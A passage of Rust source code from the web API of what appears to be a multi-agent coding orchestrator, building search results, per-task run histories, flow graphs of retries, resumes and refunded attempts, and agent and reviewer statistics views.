4532 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4533 }
4534 blocking(move || {
4535 let mut view = SearchView {
4536 scope: scope.clone(),
4537 q: query,
4538 hits: Vec::new(),
4539 total: 0,
4540 truncated: false,
4541 unreadable: 0,
4542 };
4543 if scope == "runs" {
4544 let mut unreadable = 0;
4545 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4549 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4550 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4551 Some(v) => Some((id, v)),
4552 None => {
4553 unreadable += 1;
4554 None
4555 }
4556 }
4557 });
4558 search_docs(&terms, docs, &mut view);
4559 view.unreadable = unreadable;
4560 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4563 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4564 for hit in &mut view.hits {
4565 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4566 hit.run = summarize(
4567 [state],
4568 &open_runs,
4569 &claimed,
4570 &superseded,
4571 |p| probe.borrow_mut().status(p),
4572 |p| probe.borrow_mut().started_at(p),
4573 )
4574 .pop();
4575 }
4576 }
4577 } else if scope == "chats" {
4578 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4579 view.unreadable = unreadable;
4580 search_docs(
4581 &terms,
4582 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4583 &mut view,
4584 );
4585 } else {
4586 let docs = ui.queue.list().into_iter().filter_map(|t| {
4587 let mut v = serde_json::to_value(&t).ok()?;
4588 if let Some(o) = v.as_object_mut() {
4591 o.insert("filed_by".to_owned(), t.source.label().into());
4592 }
4593 Some((t.id, v))
4594 });
4595 search_docs(&terms, docs, &mut view);
4596 }
4597 Ok(Json(view))
4598 })
4599 .await
4600}
4601
4602#[derive(Debug, Serialize)]
4604struct TaskRunView {
4605 n: usize,
4607 id: String,
4608 short: String,
4609 kind: &'static str,
4611 status: Option<&'static str>,
4613 readable: bool,
4615 provisional: bool,
4617 description: String,
4619 outcome: String,
4621 created_at: Option<Timestamp>,
4622 pr: Option<String>,
4623 exit: RunExit,
4625 attempt: AttemptCost,
4627 exit_label: String,
4630 later_pass: Option<usize>,
4633 pass_n: usize,
4637 passes_of_run: usize,
4638 pass: Option<PassView>,
4641 branch: Option<String>,
4643 badge: Option<String>,
4646}
4647
4648#[derive(Debug, Clone, PartialEq, Serialize)]
4650struct PassView {
4651 index: usize,
4652 resumed: bool,
4653 started_at: Timestamp,
4654 ended_at: Option<Timestamp>,
4655 end: &'static str,
4657 cause: Option<crate::run::ParkCause>,
4658 label: String,
4660 cost: Option<crate::queue::PassCost>,
4663}
4664
4665impl PassView {
4666 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4667 use crate::run::PassEnd;
4668 let (end, cause, label) = match &p.end {
4669 None => ("open", None, "still open".to_owned()),
4670 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4671 Some(PassEnd::Unrecorded) => (
4672 "unrecorded",
4673 None,
4674 "stopped without recording why (a crash, a kill or a restart; not known)"
4675 .to_owned(),
4676 ),
4677 };
4678 Self {
4679 index: p.index,
4680 resumed: p.resumed,
4681 started_at: p.started_at,
4682 ended_at: p.ended_at,
4683 end,
4684 cause,
4685 label,
4686 cost: settled.map(|t| t.cost),
4687 }
4688 }
4689}
4690
4691#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4693#[serde(rename_all = "snake_case")]
4694enum RunExit {
4695 Unreadable,
4696 Interrupted,
4698 Parked,
4699 QuotaStall,
4700 ResumedQuotaStall,
4704 Merged,
4705 Ready,
4706 Superseded,
4707 AlreadyInBase,
4710 Stalled,
4712 HeldWithPr,
4714 NoopHeld,
4715 Spent,
4717 InProgress,
4718}
4719
4720#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4721#[serde(rename_all = "snake_case")]
4722enum AttemptCost {
4723 Spent,
4724 Refunded,
4725 None,
4726 Unknown,
4728}
4729
4730impl RunExit {
4731 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4732 let Some(s) = s else {
4733 return Self::Unreadable;
4734 };
4735 let status = s.status;
4736 if resumed_later {
4737 Self::Interrupted
4738 } else if s.parked {
4739 Self::Parked
4740 } else if !status.done() {
4741 Self::InProgress
4742 } else if matches!(status, RunStatus::Merged) {
4743 Self::Merged
4744 } else if matches!(status, RunStatus::Ready) {
4745 Self::Ready
4746 } else if matches!(status, RunStatus::Superseded) {
4747 Self::Superseded
4748 } else if matches!(status, RunStatus::AlreadyInBase) {
4749 Self::AlreadyInBase
4750 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4751 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4752 {
4753 if resumed {
4754 Self::ResumedQuotaStall
4755 } else {
4756 Self::QuotaStall
4757 }
4758 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4759 Self::HeldWithPr
4760 } else if matches!(status, RunStatus::VerifiedNoop) {
4761 Self::NoopHeld
4762 } else if matches!(status, RunStatus::Stalled) {
4763 Self::Stalled
4764 } else {
4765 Self::Spent
4766 }
4767 }
4768
4769 fn cost(self) -> AttemptCost {
4770 match self {
4771 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4772 Self::Merged
4773 | Self::Ready
4774 | Self::Stalled
4775 | Self::HeldWithPr
4776 | Self::NoopHeld
4777 | Self::Spent => AttemptCost::Spent,
4778 Self::InProgress => AttemptCost::None,
4779 Self::AlreadyInBase => AttemptCost::Refunded,
4780 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4781 AttemptCost::Unknown
4782 }
4783 }
4784 }
4785
4786 fn edge_label(self, status: Option<&str>) -> String {
4788 match self {
4789 Self::Unreadable => "record unreadable".to_owned(),
4790 Self::Interrupted => "interrupted before the run finished".to_owned(),
4791 Self::Parked => "parked, attempt refunded".to_owned(),
4792 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4793 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4794 Self::Merged => "merged".to_owned(),
4795 Self::Ready => "ready, not merged".to_owned(),
4796 Self::Superseded => "superseded by a later attempt".to_owned(),
4797 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4798 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4799 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4800 Self::NoopHeld => "verified no-op".to_owned(),
4801 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4802 Self::InProgress => "in progress".to_owned(),
4803 }
4804 }
4805
4806 fn explains(self, end: TaskStatus) -> bool {
4809 match self {
4810 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4811 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4812 Self::Unreadable | Self::Superseded | Self::Ready => true,
4813 _ => end != TaskStatus::Done,
4814 }
4815 }
4816}
4817
4818#[derive(Debug, Serialize)]
4820struct TaskDetailView {
4821 #[serde(flatten)]
4822 task: TaskView,
4823 max_attempts: usize,
4826 history: Vec<TaskRunView>,
4827 passes_total: usize,
4830 runs_distinct: usize,
4832 flow: FlowView,
4833 followup_origin: Option<FollowUpOrigin>,
4835 runs_unreadable: usize,
4837 attempts_note: &'static str,
4839}
4840
4841const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4842and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4843on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4844the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4845
4846fn review_branch_of(instruction: &str) -> Option<&str> {
4849 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4850 rest.split('`').next().filter(|b| !b.is_empty())
4851}
4852
4853#[derive(Default)]
4855struct RunSlot<'a> {
4856 n: usize,
4858 resumed: bool,
4860 resumed_later: Option<usize>,
4862 prior: Option<(&'a str, RunStatus)>,
4864 last: bool,
4865 pass: Option<&'a crate::run::RunPass>,
4867 settled: Option<&'a crate::queue::TaskPass>,
4869 pass_n: usize,
4871 passes_of_run: usize,
4872}
4873
4874fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4877 let RunSlot {
4878 n,
4879 resumed,
4880 resumed_later,
4881 prior,
4882 last,
4883 pass,
4884 settled,
4885 pass_n,
4886 passes_of_run,
4887 } = at;
4888 let short = run::short_of(id).to_owned();
4889 let Some(s) = state else {
4890 return TaskRunView {
4891 n,
4892 id: id.to_owned(),
4893 short,
4894 kind: "unknown",
4895 status: None,
4896 readable: false,
4897 provisional: false,
4898 description:
4899 "This run's record could not be read by this build (written by a different \
4900 magi, or removed), so what kind of attempt it was is unknown."
4901 .to_owned(),
4902 outcome: String::new(),
4903 created_at: None,
4904 pr: None,
4905 exit: RunExit::Unreadable,
4906 attempt: AttemptCost::Unknown,
4907 exit_label: RunExit::Unreadable.edge_label(None),
4908 later_pass: resumed_later,
4909 pass_n,
4910 passes_of_run,
4911 pass: None,
4912 branch: None,
4913 badge: None,
4914 };
4915 };
4916 let branch = review_branch_of(&s.instruction);
4917 let kind = if resumed {
4918 "resume"
4919 } else if branch.is_some() {
4920 "review"
4921 } else if task.solo || s.candidates.len() == 1 {
4922 "solo"
4923 } else {
4924 "competition"
4925 };
4926 let mut description = match kind {
4927 "resume" => {
4928 format!("Resumed run {short}: the same run carried on instead of competing again.")
4929 }
4930 "review" => format!(
4931 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4932 branch.unwrap_or_default()
4933 ),
4934 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4935 _ => format!(
4936 "Competition: {} candidates judged blind.",
4937 s.candidates.len().max(1)
4938 ),
4939 };
4940 if !resumed && let Some((p, st)) = prior {
4941 description.push_str(&format!(
4942 " A retry: run {p} before it ended {}.",
4943 st.display_label()
4944 ));
4945 }
4946
4947 let status = s.status;
4948 let provisional = matches!(status, RunStatus::Stalled)
4949 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4950 let head = if resumed_later.is_some() {
4951 String::new()
4952 } else {
4953 match status {
4954 RunStatus::Merged => "Merged.".to_owned(),
4955 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4956 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4957 RunStatus::AlreadyInBase => {
4958 "Already in the base: this change landed under other commits, nothing was left to land."
4959 .to_owned()
4960 }
4961 RunStatus::Stalled => {
4962 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4963 .to_owned()
4964 }
4965 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4966 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4967 RunStatus::VerifiedNoop => {
4968 "Verified no-op: the candidates found nothing to change.".to_owned()
4969 }
4970 other if other.done() => format!("Ended {}.", other.display_label()),
4971 other => format!("In progress ({}).", other.display_label()),
4972 }
4973 };
4974 let view = pass.map(|p| PassView::of(p, settled));
4975 let recorded_end = view
4976 .as_ref()
4977 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4978 let cost_words = match view.as_ref().and_then(|v| v.cost) {
4979 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4980 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4981 None => "whether its attempt was handed back was not recorded",
4982 };
4983 let pass_note = if passes_of_run > 1 {
4984 format!(
4985 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4986 )
4987 } else {
4988 String::new()
4989 };
4990 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4991 let cause = match v.end {
4993 "parked" => format!("It was stopped on purpose: {}.", v.label),
4994 _ => format!("It {}.", v.label),
4995 };
4996 format!(
4997 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4998 capitalise(cost_words)
4999 )
5000 } else if let Some(k) = resumed_later {
5001 let cause = if s.quota.is_empty() {
5008 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5009 } else {
5010 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5011 };
5012 format!(
5013 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5014 )
5015 } else if s.parked {
5016 match recorded_end.and_then(|v| v.cause.as_ref()) {
5017 Some(cause) => format!(
5018 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5019 cause.label(),
5020 cost_words
5021 ),
5022 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5023 .to_owned(),
5024 }
5025 } else if !status.done()
5026 || matches!(
5027 status,
5028 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5029 )
5030 {
5031 String::new()
5032 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5033 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5034 {
5035 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5036 .to_owned()
5037 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5038 " It left a pull request open, so the task was held for a person rather than retried."
5039 .to_owned()
5040 } else if matches!(status, RunStatus::VerifiedNoop) {
5041 " Held for a person to check the claim.".to_owned()
5042 } else if last {
5043 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5044 } else {
5045 " It spent an attempt, and the task moved on to the next run.".to_owned()
5046 };
5047 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5048 let mut attempt = exit.cost();
5049 let mut exit_label = None;
5050 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5051 let spent = match v.cost {
5052 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5053 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5054 None if resumed_later.is_some() => ", refund not recorded",
5055 None => ", attempt refunded",
5056 };
5057 attempt = match v.cost {
5058 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5059 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5060 None if resumed_later.is_some() => AttemptCost::Unknown,
5061 None => attempt,
5062 };
5063 if v.end == "parked" {
5064 exit = RunExit::Parked;
5065 exit_label = Some(match v.cause.as_ref() {
5066 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5067 format!("parked for {}{spent}", c.label())
5068 }
5069 Some(c) => format!("parked ({}){spent}", c.label()),
5070 None => format!("parked{spent}"),
5071 });
5072 } else {
5073 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5074 }
5075 }
5076 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5077 TaskRunView {
5078 n,
5079 id: id.to_owned(),
5080 short,
5081 kind,
5082 status: Some(status.as_str()),
5083 readable: true,
5084 provisional,
5085 description,
5086 outcome: format!("{head}{why}"),
5087 created_at: Some(s.created_at),
5088 pr: s.pr.as_ref().map(|p| p.url.clone()),
5089 exit,
5090 attempt,
5091 exit_label,
5092 later_pass: resumed_later,
5093 pass_n,
5094 passes_of_run,
5095 pass: view,
5096 branch: branch.map(str::to_owned),
5097 badge: None,
5098 }
5099}
5100
5101fn capitalise(s: &str) -> String {
5102 let mut c = s.chars();
5103 c.next().map_or_else(String::new, |f| {
5104 f.to_uppercase().collect::<String>() + c.as_str()
5105 })
5106}
5107
5108#[derive(Debug, Serialize, PartialEq)]
5110struct FlowNode {
5111 key: String,
5113 kind: &'static str,
5115 label: String,
5116 status: Option<&'static str>,
5119 status_of: &'static str,
5122 note: Option<&'static str>,
5124 run_kind: Option<&'static str>,
5125 detail: Option<String>,
5126 decided: bool,
5128 readable: bool,
5129 href: Option<String>,
5130 badge: Option<String>,
5132 started_at: Option<Timestamp>,
5134 time_expected: bool,
5136}
5137
5138#[derive(Debug, Serialize, PartialEq)]
5139struct FlowEdge {
5140 from: String,
5141 to: String,
5142 label: String,
5143 attempt: AttemptCost,
5144}
5145
5146#[derive(Debug, Serialize, PartialEq)]
5147struct FlowView {
5148 nodes: Vec<FlowNode>,
5149 edges: Vec<FlowEdge>,
5150 attempts: usize,
5152 max_attempts: usize,
5153 passes: usize,
5156 runs: usize,
5157}
5158
5159fn task_flow(
5168 task: &Task,
5169 history: &[TaskRunView],
5170 max_attempts: usize,
5171 origin: Option<&FollowUpOrigin>,
5172) -> FlowView {
5173 let max_attempts = task.effective_attempt_limit(max_attempts);
5174 let node = |key: &str, kind, label: String| FlowNode {
5175 key: key.to_owned(),
5176 kind,
5177 label,
5178 status: None,
5179 status_of: "run",
5180 note: None,
5181 run_kind: None,
5182 detail: None,
5183 decided: false,
5184 readable: true,
5185 href: None,
5186 badge: None,
5187 started_at: None,
5188 time_expected: matches!(kind, "start" | "run" | "end"),
5189 };
5190 let mut nodes = Vec::new();
5191 let mut edges: Vec<FlowEdge> = Vec::new();
5192 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5194 let mut n = node(
5195 "chat",
5196 "chat",
5197 format!("Chat {}", crate::queue::short(&link.id)),
5198 );
5199 n.href = Some(link.href);
5200 nodes.push(n);
5201 edges.push(FlowEdge {
5202 from: "chat".to_owned(),
5203 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5204 label: "queued from chat".to_owned(),
5205 attempt: AttemptCost::None,
5206 });
5207 }
5208 if let Some(o) = origin {
5209 let mut n = match &o.parent {
5210 Some(p) => {
5211 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5212 n.status = Some(p.status);
5213 n.status_of = "task";
5214 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5215 n.href = Some(p.href.clone());
5216 n
5217 }
5218 None => {
5219 let mut n = node(
5220 "origin",
5221 "followup",
5222 format!("Follow-up of run {}", o.run.short),
5223 );
5224 n.detail = Some("merged run".to_owned());
5225 n.status = o.run.status;
5226 n.href = o.run.href.clone();
5227 if o.run.href.is_none() {
5228 n.readable = false;
5229 n.note = Some("unreadable");
5230 }
5231 n
5232 }
5233 };
5234 n.decided = true;
5235 let from = n.key.clone();
5236 nodes.push(n);
5237 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5238 let more = o.findings.len().saturating_sub(shown.len());
5239 let label = match (shown.is_empty(), more) {
5240 (true, _) => "open findings".to_owned(),
5241 (false, 0) => format!("open findings {}", shown.join(", ")),
5242 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5243 };
5244 edges.push(FlowEdge {
5245 from,
5246 to: "start".to_owned(),
5247 label,
5248 attempt: AttemptCost::None,
5249 });
5250 }
5251 let mut start = node("start", "start", "Task queued".to_owned());
5252 start.started_at = Some(task.created_at);
5253 nodes.push(start);
5254 let mut prev = "start".to_owned();
5255 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5256 for (i, h) in history.iter().enumerate() {
5257 let key = format!("run-{}", h.n);
5258 let mut n = node(&key, "run", format!("Run {}", h.short));
5259 n.started_at = h
5262 .readable
5263 .then(|| {
5264 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5265 h.created_at
5266 } else {
5267 None
5268 })
5269 })
5270 .flatten();
5271 n.run_kind = Some(h.kind);
5272 n.readable = h.readable;
5273 n.href = Some(format!("#/runs/{}", h.id));
5274 n.decided = h.readable && !h.provisional;
5275 n.detail = h
5276 .branch
5277 .as_ref()
5278 .map(|b| format!("review-only run of branch {b}"));
5279 match h.exit {
5280 RunExit::Unreadable => n.note = Some("unreadable"),
5281 RunExit::Interrupted => n.note = Some("interrupted"),
5282 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5285 _ => {
5286 n.status = h.status;
5287 n.badge = h.badge.clone();
5288 if h.provisional {
5289 n.note = Some("no verdict");
5290 }
5291 }
5292 }
5293 let into = match h.kind {
5294 "review" => Some(format!(
5295 "review-only run of branch {}",
5296 h.branch.as_deref().unwrap_or("?")
5297 )),
5298 "resume" => Some("resume the same run".to_owned()),
5299 _ if i > 0 => Some("retry".to_owned()),
5300 _ => None,
5301 };
5302 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5303 let label = match (prev_exit, into) {
5304 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5305 (Some((_, l, _)), None) => l,
5306 (None, Some(i)) => i,
5307 (None, None) => "claimed".to_owned(),
5308 };
5309 edges.push(FlowEdge {
5310 from: prev.clone(),
5311 to: key.clone(),
5312 label,
5313 attempt,
5314 });
5315 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5316 prev = key;
5317 nodes.push(n);
5318 }
5319 let mut end = node("end", "end", task.status.as_str().to_owned());
5320 end.status = Some(task.status.as_str());
5321 end.status_of = "task";
5322 if task.status == TaskStatus::Held {
5325 end.started_at = task.held_at;
5326 }
5327 nodes.push(end);
5328 let (label, attempt) = match prev_exit {
5329 None => (
5330 format!("no run yet \u{2192} {}", task.status.as_str()),
5331 AttemptCost::None,
5332 ),
5333 Some((e, l, cost)) if e.explains(task.status) => {
5334 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5335 }
5336 Some((_, _, cost)) => (
5337 format!("closed by hand: task is {}", task.status.as_str()),
5338 cost,
5339 ),
5340 };
5341 edges.push(FlowEdge {
5342 from: prev,
5343 to: "end".to_owned(),
5344 label,
5345 attempt,
5346 });
5347 FlowView {
5348 nodes,
5349 edges,
5350 attempts: task.attempts,
5351 max_attempts,
5352 passes: history.len(),
5353 runs: distinct_runs(&task.runs),
5354 }
5355}
5356
5357fn distinct_runs(runs: &[String]) -> usize {
5359 let mut seen: Vec<&str> = Vec::new();
5360 for r in runs {
5361 if !seen.contains(&r.as_str()) {
5362 seen.push(r);
5363 }
5364 }
5365 seen.len()
5366}
5367
5368fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5370 let mut slots = Vec::new();
5371 let mut seen = Vec::new();
5372 for run_id in &task.runs {
5373 if seen.contains(&run_id) {
5374 continue;
5375 }
5376 seen.push(run_id);
5377 let state = read(run_id);
5378 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5379 s.passes
5380 .iter()
5381 .filter(|p| {
5382 p.task_entry
5383 || task
5384 .passes
5385 .iter()
5386 .any(|t| t.run == *run_id && t.pass_index == p.index)
5387 })
5388 .cloned()
5389 .collect()
5390 });
5391 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5392 let total = legacy_count.max(mine.len());
5393 let offset = total - mine.len();
5394 for k in 0..total {
5395 let position = task
5398 .runs
5399 .iter()
5400 .enumerate()
5401 .filter(|(_, r)| *r == run_id)
5402 .nth(k.min(legacy_count - 1))
5403 .unwrap()
5404 .0;
5405 slots.push((
5406 run_id,
5407 state.clone(),
5408 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5409 position,
5410 ));
5411 }
5412 }
5413 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5414 slots.sort_by_key(|(_, state, pass, _)| {
5415 pass.as_ref()
5416 .map(|p| p.started_at)
5417 .or_else(|| state.as_ref().map(|s| s.created_at))
5418 .map_or((true, task.created_at), |at| (false, at))
5419 });
5420 } else {
5421 slots.sort_by_key(|(_, _, _, position)| *position);
5422 }
5423 let mut history = Vec::with_capacity(slots.len());
5424 let mut seen: Vec<&str> = Vec::new();
5425 let mut prior: Option<(&str, RunStatus)> = None;
5426 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5427 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5428 let resumed = k > 0;
5429 seen.push(run_id);
5430 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5431 let pass = pass.as_ref();
5432 let settled = pass.and_then(|p| {
5433 task.passes
5434 .iter()
5435 .find(|t| t.run == **run_id && t.pass_index == p.index)
5436 });
5437 history.push(task_run_view(
5438 run_id,
5439 state.as_ref(),
5440 RunSlot {
5441 n: i + 1,
5442 resumed,
5443 resumed_later: slots[i + 1..]
5444 .iter()
5445 .position(|(id, _, _, _)| id == run_id)
5446 .map(|off| i + off + 2),
5447 prior,
5448 last: i + 1 == slots.len(),
5449 pass,
5450 settled,
5451 pass_n: k + 1,
5452 passes_of_run: total,
5453 },
5454 task,
5455 ));
5456 if let Some(s) = &state {
5457 prior = Some((run::short_of(run_id), s.status));
5458 }
5459 }
5460 history
5461}
5462
5463fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5466 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5467 return;
5468 }
5469 let (_, claimed, _) = run_row_inputs(ui);
5470 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5471 for h in history
5472 .iter_mut()
5473 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5474 {
5475 let Ok(state) = read_run(&ui.runs, &h.id) else {
5476 continue;
5477 };
5478 if state.status.done() {
5479 continue;
5480 }
5481 let live = state.liveness_with(
5482 claimed.contains(&h.id),
5483 |p| probe.borrow_mut().status(p),
5484 |p| probe.borrow_mut().started_at(p),
5485 );
5486 let waiting = !ui.questions.open_for(&h.id).is_empty();
5487 let display = run_display_status(&state, waiting, live);
5488 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5489 if matches!(word.as_str(), "stale" | "superseded")
5490 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5491 {
5492 h.badge = Some(word);
5493 }
5494 }
5495}
5496
5497async fn task_detail(
5498 State(ui): State<Arc<Ui>>,
5499 Path(id): Path<String>,
5500) -> ApiResult<Json<TaskDetailView>> {
5501 blocking(move || {
5502 let id = resolve_task(&ui.queue, &id)?;
5503 let task = ui
5504 .queue
5505 .get(&id)
5506 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5507 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5508 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5509 mark_badges(&ui, &task, &mut history);
5510 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5511 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5512 let origin = task.followup.as_ref().map(|fu| {
5513 followup_origin(
5514 fu,
5515 |tid| ui.queue.get(tid).ok(),
5516 |rid| read_run(&ui.runs, rid).ok(),
5517 )
5518 });
5519 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5520 Ok(Json(TaskDetailView {
5521 max_attempts,
5522 flow,
5523 followup_origin: origin,
5524 passes_total: history.len(),
5525 runs_distinct: distinct_runs(&task.runs),
5526 history,
5527 runs_unreadable,
5528 attempts_note: ATTEMPTS_NOTE,
5529 task: TaskView::with_inventory(task, &inv),
5530 }))
5531 })
5532 .await
5533}
5534
5535#[derive(Debug, Serialize)]
5539struct RateView {
5540 pct: f64,
5541 denominator: usize,
5542}
5543
5544impl RateView {
5545 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5546 (denominator > 0).then(|| Self {
5547 pct: 100.0 * numerator as f64 / denominator as f64,
5548 denominator,
5549 })
5550 }
5551}
5552
5553#[derive(Debug, Serialize)]
5558struct StatsTotalsView {
5559 runs: usize,
5560 merged: usize,
5561 ready: usize,
5562 blocked: usize,
5563 failed: usize,
5564 stalled: usize,
5565 verified_noop: usize,
5566 superseded: usize,
5567 in_progress: usize,
5568 completion_rate: Option<RateView>,
5569 tallied: usize,
5570 split: usize,
5571 split_rate: Option<RateView>,
5572 deliberated: usize,
5573 minds_changed: usize,
5574 converged: usize,
5575 review_rounds: usize,
5576}
5577
5578impl From<&stats::Totals> for StatsTotalsView {
5579 fn from(t: &stats::Totals) -> Self {
5580 Self {
5581 runs: t.runs,
5582 merged: t.merged,
5583 ready: t.ready,
5584 blocked: t.blocked,
5585 failed: t.failed,
5586 stalled: t.stalled,
5587 verified_noop: t.verified_noop,
5588 superseded: t.superseded,
5589 in_progress: t.in_progress,
5590 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5591 tallied: t.tallied,
5592 split: t.split,
5593 split_rate: RateView::of(t.split, t.tallied),
5594 deliberated: t.deliberated,
5595 minds_changed: t.minds_changed,
5596 converged: t.converged,
5597 review_rounds: t.review_rounds,
5598 }
5599 }
5600}
5601
5602#[derive(Debug, Serialize)]
5604struct AgentStatsView {
5605 agent: String,
5606 entered: usize,
5607 wins: usize,
5608 empty: usize,
5609 win_rate: Option<RateView>,
5610 competitive_entered: usize,
5611 competitive_wins: usize,
5612 competitive_win_rate: Option<RateView>,
5613 solo_entered: usize,
5614 solo_adopted: usize,
5615 solo_adoption_rate: Option<RateView>,
5616}
5617
5618impl From<&stats::AgentStats> for AgentStatsView {
5619 fn from(a: &stats::AgentStats) -> Self {
5620 Self {
5621 agent: a.agent.clone(),
5622 entered: a.entered,
5623 wins: a.wins,
5624 empty: a.empty,
5625 win_rate: RateView::of(a.wins, a.entered),
5626 competitive_entered: a.competitive_entered,
5627 competitive_wins: a.competitive_wins,
5628 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5629 solo_entered: a.solo_entered,
5630 solo_adopted: a.solo_adopted,
5631 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5632 }
5633 }
5634}
5635
5636#[derive(Debug, Serialize)]
5640struct ReviewerStatsView {
5641 agent: String,
5642 rounds: usize,
5643 seated: usize,
5644 submitted: usize,
5645 adopted: usize,
5646 unique: usize,
5647 timeouts: usize,
5648 adopted_per_round: Option<f64>,
5649 precision: Option<RateView>,
5650 unique_rate: Option<RateView>,
5651 timeout_rate: Option<RateView>,
5652}
5653
